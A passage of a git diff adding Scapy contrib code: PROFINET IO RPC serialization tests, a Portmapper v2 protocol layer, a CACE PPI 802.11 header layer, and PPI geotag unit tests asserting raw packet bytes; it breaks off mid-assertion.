PNIO RPC Write Request +p = DceRpc( + endianness='little', opnum=2, sequence_num=1, + object_uuid='dea00000-6c97-11d1-8271-010203040506', + activity='01234567-89ab-cdef-0123-456789abcdef' + ) / PNIOServiceReqPDU( + blocks=[ + IODWriteMultipleReq( + seqNum=0, ARUUID='fedcba98-7654-3210-fedc-ba9876543210', blocks=[ + IODWriteReq( + seqNum=1, API=0, slotNumber=1, subslotNumber=1, index=0x123, + ARUUID='fedcba98-7654-3210-fedc-ba9876543210' + ) / b'\x01\x02', + IODWriteReq( + seqNum=2, API=0, slotNumber=3, subslotNumber=1, + ARUUID='fedcba98-7654-3210-fedc-ba9876543210' + ) / FParametersBlock( + F_CRC_Seed=1, F_CRC_Length='CRC-24', F_Source_Add=0xc1, F_Dest_Add=0xc2, + F_WD_Time=500, F_Par_CRC=0x1234 + ), + ] + ) + ] + ) +bytes(p) == bytearray.fromhex( + '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000010000000200ffffffffe20000000000' + \ + 'ce000000ce000000ce00000000000000ce000000' + \ + '0008003c01000000fedcba9876543210fedcba9876543210ffffffffffffffff0000e0400000008e' + '00' * 24 + \ + '0008003c01000001fedcba9876543210fedcba987654321000000000000100010000012300000002' + '00' * 24 + \ + '01020000' + \ + '0008003c01000002fedcba9876543210fedcba98765432100000000000030001000001000000000a' + '00' * 24 + \ + '484000c100c201f41234') + + +#### PrmEnd control Request += A PNIO RPC PrmEnd Control Request +p = DceRpc( + endianness='little', opnum=0, sequence_num=2, + object_uuid='dea00000-6c97-11d1-8271-010203040506', + activity='01234567-89ab-cdef-0123-456789abcdef' + ) / PNIOServiceReqPDU( + blocks=[ + IODControlReq(ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, ControlCommand_PrmEnd=1) + ] + ) +bytes(p) == bytearray.fromhex( + '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000020000000000ffffffff340000000000' + \ + '2000000020000000200000000000000020000000' + \ + '0110001c01000000fedcba9876543210fedcba98765432100000000000010000') + +#### ApplicationReady control Request += A PNIO RPC PrmEnd Control Request +p = DceRpc( + endianness='little', opnum=0, sequence_num=0, + object_uuid='dea00000-6c97-11d1-8271-060504030201', + activity='01020304-0506-0708-090a-0b0c0d0e0f00', + interface_uuid=RPC_INTERFACE_UUID['UUID_IO_ControllerInterface'], + ) / PNIOServiceReqPDU( + blocks=[ + IODControlReq(ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, ControlCommand_ApplicationReady=1) + ] + ) +bytes(p) == bytearray.fromhex( + '04000000100000000000a0de976cd11182710605040302010200a0de976cd111827100a02442df7d0403020106050807090a0b0c0d0e0f000000000001000000000000000000ffffffff340000000000' + \ + '2000000020000000200000000000000020000000' + \ + '0112001c01000000fedcba9876543210fedcba98765432100000000000020000') diff --git a/libs/scapy/contrib/portmap.py b/libs/scapy/contrib/portmap.py new file mode 100755 index 0000000..d0106dc --- /dev/null +++ b/libs/scapy/contrib/portmap.py @@ -0,0 +1,86 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Lucas Preston +# This program is published under a GPLv2 license + +# scapy.contrib.description = Portmapper v2 +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import IntField, PacketListField +from scapy.contrib.oncrpc import RPC, RPC_Call + + +class GETPORT_Call(Packet): + name = 'GETPORT Call' + fields_desc = [ + IntField('prog', 0), + IntField('vers', 0), + IntField('prot', 0), + IntField('port', 0) + ] + + +class GETPORT_Reply(Packet): + name = 'GETPORT Reply' + fields_desc = [ + IntField('port', 0) + ] + + +bind_layers(RPC, GETPORT_Call, mtype=0) +bind_layers(RPC, GETPORT_Reply, mtype=1) +bind_layers( + RPC_Call, GETPORT_Call, program=100000, pversion=2, procedure=3 +) + + +class NULL_Call(Packet): + name = 'PORTMAP NULL Call' + fields_desc = [] + + +class NULL_Reply(Packet): + name = 'PORTMAP NULL Reply' + fields_desc = [] + + +bind_layers(RPC, NULL_Call, mtype=0) +bind_layers(RPC, NULL_Reply, mtype=1) +bind_layers(RPC_Call, NULL_Call, program=100000, pversion=2, procedure=0) + + +class Map_Entry(Packet): + name = 'PORTMAP Map Entry' + fields_desc = [ + IntField('prog', 0), + IntField('vers', 0), + IntField('prot', 0), + IntField('port', 0), + IntField('value_follows', 0) + ] + + def extract_padding(self, s): + return '', s + + +class DUMP_Call(Packet): + name = 'PORTMAP DUMP Call' + fields_desc = [] + + +class DUMP_Reply(Packet): + name = 'PORTMAP DUMP Reply' + fields_desc = [ + IntField('value_follows', 0), + PacketListField('mappings', [], cls=Map_Entry, + next_cls_cb=lambda pkt, lst, cur, remain: + Map_Entry if pkt.value_follows == 1 and + (len(lst) == 0 or cur.value_follows == 1) and + len(remain) > 4 else None) + ] + + +bind_layers(RPC, DUMP_Call, mtype=0) +bind_layers(RPC, DUMP_Reply, mtype=1) +bind_layers(RPC_Call, DUMP_Call, program=100000, pversion=2, procedure=4) diff --git a/libs/scapy/contrib/ppi_cace.py b/libs/scapy/contrib/ppi_cace.py new file mode 100755 index 0000000..1a2410d --- /dev/null +++ b/libs/scapy/contrib/ppi_cace.py @@ -0,0 +1,94 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# author: + +# scapy.contrib.description = CACE Per-Packet Information (PPI) +# scapy.contrib.status = loads + +""" +CACE PPI types +""" + +from scapy.data import PPI_DOT11COMMON +from scapy.packet import bind_layers +from scapy.fields import ByteField, Field, FlagsField, LELongField, \ + LEShortField +from scapy.layers.ppi import PPI_Hdr, PPI_Element + + +# PPI 802.11 Common Field Header Fields +class dBmByteField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "b") + + def i2repr(self, pkt, x): + if x is not None: + x = "%4d dBm" % x + return x + + +class PPITSFTField(LELongField): + def i2h(self, pkt, x): + flags = 0 + if pkt: + flags = pkt.getfieldval("Pkt_Flags") + if not flags: + flags = 0 + if flags & 0x02: + scale = 1e-3 + else: + scale = 1e-6 + tout = scale * float(x) + return tout + + def h2i(self, pkt, x): + scale = 1e6 + if pkt: + flags = pkt.getfieldval("Pkt_Flags") + if flags and (flags & 0x02): + scale = 1e3 + tout = int((scale * x) + 0.5) + return tout + + +_PPIDot11CommonChFlags = [ + '', '', '', '', 'Turbo', 'CCK', 'OFDM', '2GHz', '5GHz', + 'PassiveOnly', 'Dynamic CCK-OFDM', 'GSFK'] + +_PPIDot11CommonPktFlags = ['FCS', 'TSFT_ms', 'FCS_Invalid', 'PHY_Error'] + + +# PPI 802.11 Common Field Header +class PPI_Dot11Common(PPI_Element): + name = "PPI 802.11-Common" + fields_desc = [PPITSFTField('TSF_Timer', 0), + FlagsField('Pkt_Flags', 0, -16, _PPIDot11CommonPktFlags), + LEShortField('Rate', 0), + LEShortField('Ch_Freq', 0), + FlagsField('Ch_Flags', 0, -16, _PPIDot11CommonChFlags), + ByteField('FHSS_Hop', 0), + ByteField('FHSS_Pat', 0), + dBmByteField('Antsignal', -128), + dBmByteField('Antnoise', -128)] + + def extract_padding(self, s): + return b'', s + + +# Hopefully other CACE defined types will be added here. + + +# Add the dot11common layer to the PPI array +bind_layers(PPI_Hdr, PPI_Dot11Common, pfh_type=PPI_DOT11COMMON) diff --git a/libs/scapy/contrib/ppi_cace.uts b/libs/scapy/contrib/ppi_cace.uts new file mode 100755 index 0000000..4971985 --- /dev/null +++ b/libs/scapy/contrib/ppi_cace.uts @@ -0,0 +1,255 @@ +% PPI/PPI_CACE/PPI_GEOTAG Global Campaign +# Test suite extracted from PPI_GEOLOCATION_SDK.zip\PPI_GEOLOCATION_SDK\pcaps\reference-pcaps\ppi_geo_examples.py + ++ PPI Tests + += Define test suite + +from scapy.contrib.ppi_cace import * +from scapy.contrib.ppi_geotag import * + + + +def Pkt_10_1(): + """GPS Only""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(Latitude=40.787743,Longitude=-73.971210)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:01")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.1") + return PPI(raw(pkt)) + +def Pkt_10_2(): + """GPS + VECTOR + ANTENNA + RADIOTAP""" #No radiotap support yet... + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(Latitude=40.787743, Longitude=-73.971210), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars="Antenna", Pitch=90.0, Roll=0.0, Heading=0.0, DescString="Antenna-1 orientation"), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=8,HorizBw=360.0,ModelName="8dBi-MagMountOmni"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-80,Antnoise=-110,Ch_Freq=2437)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:02")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.2") + return PPI(raw(pkt)) + +def Pkt_10_3(): + """Direction of travel + one directional antenna, with Pitch in ForwardFrame""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0, Heading=22.5, DescString="VehicleVec"), + PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Velocity", Val_T=20.0), + PPI_Hdr()/PPI_Geotag_Vector( VectorChars=0x01, Heading=90.0, DescString="AntennaVec"), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:03")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.3") + return PPI(raw(pkt)) #Cause the fields to be built + +def Pkt_10_4(): + """Two static directional antennas with offsets""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210, Altitude_g=2.00), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=10.0, Heading=22.5), + PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Velocity", Val_T=8.5), + PPI_Hdr()/PPI_Geotag_Sensor(SensorType="Acceleration", Val_T=0.5), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=90.0, Off_X=0.75, Off_Y=0.6, Off_Z=-0.2, DescString="Antenna1Vec"), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9",DescString="RightAntenna"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=270.0, Off_X=-0.75, Off_Y=0.6, Off_Z=-0.2, DescString="Antenna2Vec"), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9",DescString="LeftAntenna"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-95,Antnoise=-110,Ch_Freq=2437)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:04")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.4") + return PPI(raw(pkt)) #Cause the fields to be built + +def Pkt_10_5(): + """Similar to 10_3, but with a electronically steerable antenna""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=00.0, Heading=22.5, DescString="VehicleVec"), + PPI_Hdr()/PPI_Geotag_Vector( VectorChars=0x01, Heading=120.0, DescString="AntennaVec"), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x010002,Gain=12,HorizBw=60,BeamID=0xF1A1, ModelName="ElectronicallySteerableExAntenna", AppId=0x04030201), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:05")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.5") + return PPI(raw(pkt)) #Cause the fields to be built + +def Pkt_10_6(): + """Mechanically steerable antenna. Non-intuitive forward""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x06, Heading=22.5, DescString="VehicleVec"), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x00, Heading=202.5, DescString="ForwardVec"), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=75.0, DescString="AntennaVec"), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x020002,Gain=12,HorizBw=60,ModelName="MechanicallySteerableAnt"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:06")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.6") + return PPI(raw(pkt)) #Cause the fields to be built + +def Pkt_10_7(): + """Drifting boat.""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude= 41.876154, Longitude=-87.608602), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x04, Heading=50.0, DescString="VehicleVec"), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x02, Heading=230.0, DescString="DOT-Vec"), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=90.0, DescString="AntennaVec"), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:07")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.7") + return PPI(raw(pkt)) #Cause the fields to be built + +def Pkt_10_8(): + """Time of arrival analysis""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861885, Longitude=-87.616926, GPSTime=1288720719, FractionalTime=0.20), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-1 orientation"), + PPI_Hdr()/PPI_Geotag_Sensor(SensorType="TDOA_Clock", ScaleFactor=-9, Val_T=60.8754, AppId=0x04030201), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 1"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-60), + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), + PPI_Hdr()/PPI_Geotag_Sensor(SensorType="TDOA_Clock", ScaleFactor=-9, Val_T=178.124, AppId=0x04030201), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:08")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.8") + return PPI(raw(pkt)) #Cause the fields to be built + +def Pkt_10_9(): + """Time of arrival analysis(AOA)""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:098")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.9") + return PPI(raw(pkt)) #Cause the fields to be built + +def Pkt_10_10(): + """Transmitter Position/AOA example""" + pkt = PPI(headers=[ + PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), + PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x10, Off_Y=40, Err_Off=2.0, DescString="Transmitter Position", AppId=0x4030201), + PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), + PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ + Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:0A")/\ + Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.10") + return PPI(raw(pkt)) #Cause the fields to be built + +def TestPackets(): + """Returns a list of test packets""" + return [ + ("10.1", Pkt_10_1(), test_Pkt_10_1), + ("10.2", Pkt_10_2(), test_Pkt_10_2), + ("10.3", Pkt_10_3(), test_Pkt_10_3), + ("10.4", Pkt_10_4(), test_Pkt_10_4), + ("10.5", Pkt_10_5(), test_Pkt_10_5), + ("10.6", Pkt_10_6(), test_Pkt_10_6), + ("10.7", Pkt_10_7(), test_Pkt_10_7), + ("10.8", Pkt_10_8(), test_Pkt_10_8), + ("10.9", Pkt_10_9(), test_Pkt_10_9), + ("10.10", Pkt_10_10(), test_Pkt_10_10) ] + += Pkt_10_1 +a = Pkt_10_1() +raw(a) +assert raw(a) == b'\x00\x00\x1c\x00i\x00\x00\x002u\x10\x00\x02\x00\x10\x00\x06\x00\x00\x006\x89\x99\x83\x9c\xb52?\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.1' +assert a.headers[0].present == 6 +assert a.headers[0].Latitude == 40.7877430 +assert a[Dot11Beacon].beacon_interval == 100 +assert a[Dot11Elt].info == b'Test-10.1' + += Pkt_10_2 +a = Pkt_10_2() +a.show() +assert raw(a) == b'\x00\x00\xa9\x00i\x00\x00\x002u\x10\x00\x02\x00\x10\x00\x06\x00\x00\x006\x89\x99\x83\x9c\xb52?3u<\x00\x02\x00<\x00\x1f\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05\x00\x00\x00\x00\x00\x00\x00\x00Antenna-1 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\x08\x00*u\x158dBi-MagMountOmni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb0\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.2' +assert isinstance(a.headers[0].payload, PPI_Geotag_GPS) +assert a.headers[0].present == 6 +assert isinstance(a.headers[1].payload, PPI_Geotag_Vector) +assert a.headers[2].present == 134217735 +assert isinstance(a.headers[2].payload, PPI_Geotag_Antenna) +assert a.headers[2].HorizBw == 360.0 +assert isinstance(a.headers[3].payload, PPI_Dot11Common) + += Pkt_10_3 +a = Pkt_10_3() +assert raw(a) == b"\x00\x00\xef\x00i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u8\x00\x02\x008\x00\x17\x00\x00\x10\x03\x00\x00\x00\x06\x00\x00\x00\x80\x96\x98\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x01\x00@\xdfLk3u0\x00\x02\x000\x00\x12\x00\x00\x10\x01\x00\x00\x00\x80J]\x05AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.3" + += Pkt_10_4 +a = Pkt_10_4() +assert raw(a) == b"\x00\x00\xc6\x01i\x00\x00\x002u\x18\x00\x02\x00\x18\x00\x17\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52? Jk3u\x18\x00\x02\x00\x18\x00\x17\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00\x80\x96\x98\x00\xa0RW\x014u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x01\x00\x08\x1eKk4u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x02\x00\x88\xe5Ik3u@\x00\x02\x00@\x00\xf3\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80J]\x05L\xefIkp\xe9Ik0\xcaIkAntenna1Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00RightAntenna\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x923u@\x00\x02\x00@\x00\xf3\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80\xdf\x17\x10\xb4\xb4Ikp\xe9Ik0\xcaIkAntenna2Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LeftAntenna\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xa1\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.4" + += Pkt_10_5 +a = Pkt_10_5() +a.show() +assert isinstance(a, PPI) +assert raw(a) == b"\x00\x00\xe3\x00i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u8\x00\x02\x008\x00\x17\x00\x00\x10\x03\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u0\x00\x02\x000\x00\x12\x00\x00\x10\x01\x00\x00\x00\x00\x0e'\x07AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u7\x00\x02\x007\x00'\x00\x00(\x02\x00\x01\x00\x0c\x00\x87\x93\x03\xa1\xf1ElectronicallySteerableExAntenna\x01\x02\x03\x04\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.5" + += Pkt_10_6 +a = Pkt_10_6() +assert raw(a) == b'\x00\x00\x15\x01i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u4\x00\x02\x004\x00\x13\x00\x00\x10\x02\x00\x00\x00\x06\x00\x00\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x03\x00\x00\x00\x00\x00\x00\x00\xa0\xe7\x11\x0cForwardVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\xc0hx\x04AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x02\x00\x0c\x00\x87\x93\x03MechanicallySteerableAnt\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb3\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.6' + += Pkt_10_7 +a = Pkt_10_7() +assert raw(a) == 